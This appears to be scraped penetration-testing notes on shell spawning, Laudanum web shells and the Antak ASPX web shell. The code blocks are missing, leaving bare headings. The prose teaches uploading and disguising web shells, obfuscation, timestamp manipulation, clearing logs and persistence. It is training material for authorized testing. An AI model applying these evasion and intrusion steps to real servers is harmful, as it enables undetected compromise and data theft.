Method 1: Find with AWK- Search function: Looks for specified file
- Execute option (-exec): Runs command when file found
- Quit option (-quit): Stops after first match
- Flexible execution: Can execute any binary
VIM Editor Spawning
Method 1: Command Line Option- Command mode: Execute shell commands
- Shell setting: Configure default shell
- Bang commands: Direct command execution
- Editor escape: Break out of text editing context
Advanced Alternative Methods
Using Less/More Pagers
Less Command:Using Man Pages
Man Command:Using ED Editor
ED Line Editor:Using Expect
Expect Spawn:Binary and Language Detection
Check Available Interpreters
Programming Languages:Capability Assessment
Test Command Execution:Permission and Privilege Considerations
File Permission Analysis
Check Binary Permissions:- rwx: Owner (read, write, execute)
- r-x: Group (read, execute)
- r-x: Others (read, execute)
Sudo Permission Enumeration
Check Sudo Capabilities:- NOPASSWD: ALL: Can run any command without password
- env_reset: Environment variables reset on sudo
- secure_path: Restricted PATH for sudo commands
- Stable interactive shell: TTY required for input
- Working terminal: Proper shell environment
- User context: Current user permissions
Privilege Escalation Indicators
High-Privilege Indicators:Shell Stability and Improvement
Stabilization Sequence
Step 1: Initial Shell SpawnShell Feature Testing
Test Interactive Features:Troubleshooting Shell Issues
Common Problems and Solutions
Problem 1: No Prompt DisplayShell Escape Techniques
From Restricted Shells:Best Practices for Shell Spawning
Selection Strategy
- Assess available resources on target system
- Start with most reliable methods (Python, /bin/sh)
- Fall back to system utilities if needed
- Consider permission requirements for each method
- Test shell stability after spawning
Operational Considerations
- Minimize noise during shell spawning
- Avoid triggering security alerts with unusual commands
- Document successful methods for future reference
- Plan for shell loss and recovery methods
- Understand environment limitations before proceeding
Security Awareness
- Monitor process creation that might be logged
- Understand command auditing on target system
- Consider shell history and logging implications
- Plan cleanup procedures for spawned processes
- Use appropriate shells for stealth requirements
Conclusion
Linux/Unix systems dominate the server landscape, making shell access skills essential for penetration testers. Success requires:- Comprehensive enumeration to identify attack vectors
- Application-specific research for targeted exploits
- Shell improvement techniques for effective post-exploitation
- Multiple spawning methods when primary techniques fail
- Distribution awareness for platform-specific techniques
- Programming language utilization for payload delivery
- Detection evasion strategies for stealthy operations
Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with theask query parameter:
Web Shells
Overview
Web shells are server-side scripts that provide remote access to web servers through web browsers. They serve as a critical component in web application penetration testing, allowing attackers to execute commands, upload files, and maintain persistence on compromised web servers.Why Web Shells Matter
Strategic Advantages:- Browser-based access: No special client software required
- Firewall evasion: Traffic appears as normal HTTP/HTTPS
- Persistent access: Remains accessible through web interface
- Platform agnostic: Works across different operating systems
- Stealth operations: Blends with legitimate web traffic
- Initial access: Gain foothold through file upload vulnerabilities
- Persistence: Maintain access after initial compromise
- Lateral movement: Pivot to other systems from web server
- Data exfiltration: Download sensitive files through web interface
- Command execution: Run system commands remotely
Introduction to Laudanum
What is Laudanum?
Laudanum is a comprehensive repository of ready-made web shell files designed for penetration testing and security assessments. It provides a collection of injectable files that can be used to:- Receive reverse shell connections
- Execute commands directly from browser
- Upload and download files
- Enumerate system information
- Establish persistence on web servers
Supported Technologies
Laudanum includes web shells for multiple web application languages:| Language | Extension | Use Case |
|---|---|---|
| ASP | .asp | Classic ASP applications (IIS) |
| ASPX | .aspx | ASP.NET applications (IIS) |
| JSP | .jsp | Java Server Pages (Tomcat, WebLogic) |
| PHP | .php | PHP applications (Apache, Nginx) |
| CFML | .cfm | ColdFusion applications |
| Perl | .pl | Perl CGI scripts |
Installation and Availability
Default Distributions:- Kali Linux: Pre-installed in
/usr/share/laudanum - Parrot OS: Built-in by default
- Other Distributions: Manual installation required
Working with Laudanum
File Locations
Default Path Structure:Preparation and Customization
Essential Modifications
Before deploying Laudanum shells, several modifications are typically required:- IP Address Configuration: Set attacking host IP for reverse connections
- Remove Signatures: Delete ASCII art and obvious comments
- Obfuscation: Modify variable names and structure
- Authentication: Add password protection if needed
Basic Configuration Steps
Step 1: Copy for ModificationSecurity Considerations
Operational Security:- Remove identifying markers: ASCII art, author comments, default variables
- Customize appearance: Change interface styling and text
- Implement authentication: Add password or session-based protection
- Limit functionality: Remove unnecessary features to reduce detection risk
- Rename files: Use inconspicuous filenames
- Modify signatures: Change known strings and patterns
- Use legitimate directories: Place in expected locations
- Timestamp manipulation: Match file creation times
Practical Web Shell Deployment
Target Environment Setup
For demonstration purposes, we’ll work with a web application that has file upload functionality. Prerequisites:- Target web application with upload capability
- Appropriate file type acceptance (ASP, ASPX, PHP, etc.)
- Web server write permissions
- Network connectivity for testing
Step-by-Step Deployment
Step 1: Shell Preparation
Copy Laudanum Shell:Step 2: File Upload Process
Locate Upload Functionality:- Look for file upload forms on target application
- Identify upload directories and naming conventions
- Test file type restrictions and filtering
- Navigate to upload functionality
- Select modified web shell file
- Submit upload request
- Note success message and file location
Step 3: Shell Access
Navigate to Uploaded Shell:- Open browser and navigate to shell location
- Verify shell loads correctly
- Test command execution functionality
Command Execution Examples
Basic System Information
Windows Commands:File System Operations
Directory Listing:Network Enumeration
Active Connections:Advanced Web Shell Techniques
Shell Upgrade Strategies
From Web Shell to Reverse Shell
PowerShell Reverse Shell:File Upload and Download
Upload Files via Web Shell:- Use built-in upload functionality
- Transfer tools and payloads
- Upload privilege escalation exploits
Web Shell Customization
Custom PHP Web Shell
Minimal PHP Shell:Custom ASPX Web Shell
Basic ASPX Command Shell:Persistence Techniques
Hidden Web Shells
Steganographic Embedding:.htaccess Shells
Apache .htaccess Shell:Detection and Evasion
Common Detection Methods
Signature-Based Detection:- Known web shell signatures in files
- Suspicious function calls (system, exec, eval)
- Common web shell strings and patterns
- File upload monitoring
- Unusual command execution patterns
- Abnormal file access behaviors
- Suspicious network connections
- Process creation monitoring
- Web server access logs
- System command execution logs
- File modification timestamps
- Network connection logs
Evasion Techniques
Code Obfuscation
PHP Obfuscation:Traffic Obfuscation
Encrypted Communication:File System Evasion
Timestamp Manipulation:Best Practices and Operational Security
Deployment Guidelines
- Reconnaissance First
- Identify web server technology
- Determine supported file types
- Map upload functionality
- Test file restrictions
- Shell Customization
- Remove identifying signatures
- Implement authentication
- Customize appearance
- Limit functionality as needed
- Access Management
- Use HTTPS when possible
- Implement session management
- Monitor access attempts
- Plan for emergency removal
Security Considerations
- Authorization Scope
- Only deploy on authorized targets
- Follow engagement rules
- Document shell locations
- Remove after testing completion
- Operational Security
- Use encrypted connections
- Avoid suspicious commands
- Monitor detection systems
- Maintain access logs
- Cleanup Procedures
- Remove shells after use
- Clear access logs if possible
- Document artifacts created
- Verify complete removal
Troubleshooting Common Issues
Upload Problems
File Type Restrictions:Execution Issues
Permission Problems:Legal and Ethical Considerations
Authorized Testing Only
Requirements:- Written authorization for target systems
- Clear scope definition
- Agreed-upon testing methods
- Incident response procedures
- Record all shell deployments
- Document access times and activities
- Maintain evidence chain
- Prepare removal procedures
Responsible Disclosure
Best Practices:- Remove shells immediately after testing
- Report vulnerabilities to stakeholders
- Provide remediation guidance
- Follow coordinated disclosure timelines
Antak Webshell
Introduction to ASPX
What is ASPX?
Active Server Page Extended (ASPX) is a file type/extension written for Microsoft’s ASP.NET Framework. Key characteristics:- Server-side technology: Runs on web servers with ASP.NET Framework
- Dynamic content generation: Web form pages generated for user input
- HTML conversion: Server-side information converted to HTML
- Windows integration: Native integration with Windows operating systems
How ASPX Works
Processing Flow:- User request: Browser requests ASPX page
- Server processing: ASP.NET Framework processes server-side code
- HTML generation: Dynamic content converted to HTML
- Client response: HTML sent to user’s browser
- Code execution: Can execute server-side commands
- System interaction: Direct access to underlying Windows OS
- Framework integration: Leverages .NET Framework capabilities
Antak Webshell Overview
What is Antak?
Antak is a sophisticated web shell built in ASP.NET and included within the Nishang project. It provides:- PowerShell integration: Native PowerShell command execution
- Advanced UI: PowerShell-themed interface
- Memory execution: Script execution in memory
- Command encoding: Built-in command obfuscation
Nishang Project Context
Nishang is an Offensive PowerShell toolset that provides:- Comprehensive toolkit: Options for entire pentest lifecycle
- PowerShell focus: Windows-centric attack tools
- Multiple modules: Various attack and post-exploitation tools
- Active development: Regularly updated and maintained
Antak Features and Capabilities
Core Functionality
PowerShell Console Simulation:- Native PowerShell: Full PowerShell command support
- Process isolation: Each command executes as new process
- Interactive interface: Console-like user experience
- Command history: Previous commands accessible
- File operations: Upload and download capabilities
- Script execution: Memory-based script execution
- Command encoding: Automatic command obfuscation
- SQL integration: Database query capabilities
- Configuration parsing: web.config file analysis
Technical Advantages
PowerShell Integration:- Native Windows: Leverages built-in Windows capabilities
- Administrative tasks: Full administrative command access
- .NET Framework: Complete framework functionality
- Module support: PowerShell module loading
- Authentication: Built-in user/password protection
- Access control: Restricted access to authorized users
- Session management: Secure session handling
Working with Antak
File Location and Setup
Default Location:Preparation and Customization
Step 1: Copy for ModificationPractical Antak Deployment
Environment Setup
Prerequisites:- Windows server with ASP.NET Framework
- IIS web server running
- File upload capability on target application
- Network connectivity for testing
Deployment Process
Step 1: Upload Modified Shell- Navigate to target application upload functionality
- Select modified
Upload.aspxfile - Submit upload request
- Note file location (typically
\\files\directory)
- Enter configured username and password
- Gain access to Antak interface
- Verify PowerShell functionality
Initial Shell Access
Login Interface:Antak Interface and Commands
User Interface Elements
Command Execution:- Submit: Execute entered commands
- Browse: File system navigation
- Upload the File: File upload functionality
- Encode and Execute: Obfuscated command execution
- Download: File download capabilities
- Parse web.config: Configuration file analysis
- Execute SQL Query: Database interaction
Basic PowerShell Commands
System Information:Advanced Features
File Upload/Download:Advanced Antak Techniques
Upgrading to Full Shell
PowerShell Reverse Shell:Persistence Through Antak
Scheduled Tasks:Antak vs. Laudanum Comparison
| Feature | Antak | Laudanum |
|---|---|---|
| Technology | ASP.NET/PowerShell | Multiple (ASP, PHP, JSP) |
| Interface | PowerShell-themed UI | Basic command interface |
| Authentication | Built-in user/password | IP-based restrictions |
| Features | Advanced (SQL, encoding) | Basic command execution |
| Platform | Windows/.NET focused | Cross-platform |
| Learning Curve | Moderate | Easy |
| Obfuscation | Built-in encoding | Manual modification |
Security and Operational Considerations
Detection Signatures
Common Signatures:Evasion Techniques
Code Modification:Learning Resources
IPPSEC Video Resources
Recommended Learning:- IPPSEC.rocks: Search engine for penetration testing concepts
- Keyword search: Search for “aspx” for related demonstrations
- Video timestamps: Direct links to relevant sections
- Practical examples: Real-world ASPX shell usage
- Cereal walkthrough: ASPX shell demonstration (1:17:00 - 1:20:00)
- File upload techniques: Various boxes showing upload methods
- ASPX enumeration: Gobuster and directory discovery
Hands-on Practice
Lab Scenarios:- File upload exploitation: Practice with various upload filters
- ASPX shell customization: Modify and deploy custom shells
- PowerShell integration: Leverage advanced PowerShell features
- Persistence establishment: Use Antak for persistent access
Troubleshooting Antak
Common Issues
Authentication Problems:Performance Optimization
Memory Management:Conclusion
Web shells are powerful tools for maintaining access to web servers and executing remote commands through web interfaces. Both Laudanum and Antak provide comprehensive solutions for different scenarios: Laudanum offers:- Multi-platform support: ASP, ASPX, PHP, JSP, and more
- Simple deployment: Ready-to-use files with minimal modification
- Basic functionality: Command execution and file operations
- Wide compatibility: Works across different web technologies
- PowerShell integration: Native Windows PowerShell capabilities
- Advanced features: Encoding, SQL queries, file operations
- User-friendly interface: PowerShell-themed web interface
- Built-in security: Authentication and session management
- Multiple technologies: Support for various web platforms
- Customization required: Modify signatures and add authentication
- Stealth operations: Blend with legitimate web traffic
- Upgrade paths: Transition to more advanced shell types
- Detection awareness: Understand and evade security controls
- Responsible use: Deploy only on authorized targets
Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with theask query parameter: